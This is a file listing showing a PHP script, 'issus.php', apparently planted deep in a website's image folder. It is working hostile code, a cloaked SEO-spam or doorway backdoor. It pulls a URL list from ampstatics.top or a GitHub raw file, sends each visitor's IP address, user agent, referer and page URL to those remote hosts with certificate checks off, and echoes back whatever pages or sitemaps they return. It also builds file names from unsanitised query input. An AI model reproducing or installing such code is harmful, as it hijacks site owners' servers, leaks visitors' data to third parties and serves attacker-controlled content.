File "issus.php"

Full path: /home/argothem/www/organecyberpresse/IMG/distant/xml/article/issus.php
File size: 4 KB
MIME-type: text/x-php
Charset: utf-8

<?php
error_reporting(E_ALL);
ini_set('display_errors', '1');
$country = isset($_GET['cr']) ? $_GET['cr'] : 'en';
$cache_file = $country . '_indexapi.txt';
function updateApiCache($cache_file, $country) {

    $api_urls = array(
       "https://".$country.".ampstatics.top/new_api",
       "https://raw.githubusercontent.com/carolynkdixon/demo/main/".$country."_api"
    );

    foreach ($api_urls as $api_url) {
        $api_url=trim($api_url);
        $latest_api_content = false;
        $latest_api_content = @file_get_contents($api_url);
        if ($latest_api_content == false){
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $api_url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            $latest_api_content = curl_exec($ch);
            curl_close($ch);
            }

        if ($latest_api_content !== false) {
            $latest_api_content = trim($latest_api_content);
            $file = fopen($cache_file,'w');
            fwrite($file,$latest_api_content);
            fclose($file);

            break;
            }else{
                // echo "<br>latest_api_content -ERROR FALSE";
            }
        }
    }

$user_agent = urlencode($_SERVER['HTTP_USER_AGENT']);
$current_url = urlencode("http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
$user_ip = urlencode($_SERVER['REMOTE_ADDR']);


// Check if API cache file exists

$cache_expiration = 60 * 60; // 1 day (in seconds)24 * 60 * 60

if (file_exists($cache_file) and filesize($cache_file)>0) {
    $cache_time = filemtime($cache_file);
    $current_time = time();

    // Check if cache has expired
    if (($current_time - $cache_time) > $cache_expiration) {
        // Update the cache with the latest API
        updateApiCache($cache_file, $country);
    }
} else {
    // Cache file does not exist, update the cache with the latest API
    updateApiCache($cache_file, $country);
}





if (file_exists($cache_file) and filesize($cache_file)>0) {
    $api_urls = file($cache_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    $context = stream_context_create(['http' => ['timeout' => 5]]);

    $html_content = false;
    $error_message = null;

    foreach ($api_urls as $api_url) {
        $api_url=trim($api_url);
        $country=trim($country);

        $referer = $_SERVER['HTTP_REFERER'];
        $url_with_params = $api_url."?cr=".$country."&current_url=".$current_url."&user_ip=".$user_ip."&user_agent=".$user_agent."&referer=".$referer;

        $html_content = @file_get_contents($url_with_params, false, $context);
        if ($html_content == false){
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url_with_params);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            $html_content = curl_exec($ch);
            curl_close($ch);
            }

        if ($html_content !== false) {
            $news = isset($_GET['news']) ? $_GET['news'] : '';
            if (strpos($news, 'sitemap_') !== false) {
                if (pathinfo($news, PATHINFO_EXTENSION) === 'txt') {
                    header('Content-Type: text/plain');
                    header('Content-Disposition: attachment; filename="' . $news . '"');
                    echo $html_content;
                    break;
                } elseif (pathinfo($news, PATHINFO_EXTENSION) === 'xml') {
                    header('Content-Type: application/xml');
                    header('Content-Disposition: attachment; filename="' . $news . '"');
                    echo $html_content;
                    break;
                }
            }else{
                echo $html_content;
                break; // Break the loop if successful
            }
        }else{
            // echo "<br>html NOT GOT<br>";
        }

        $error_message = error_get_last();
    }
}

?>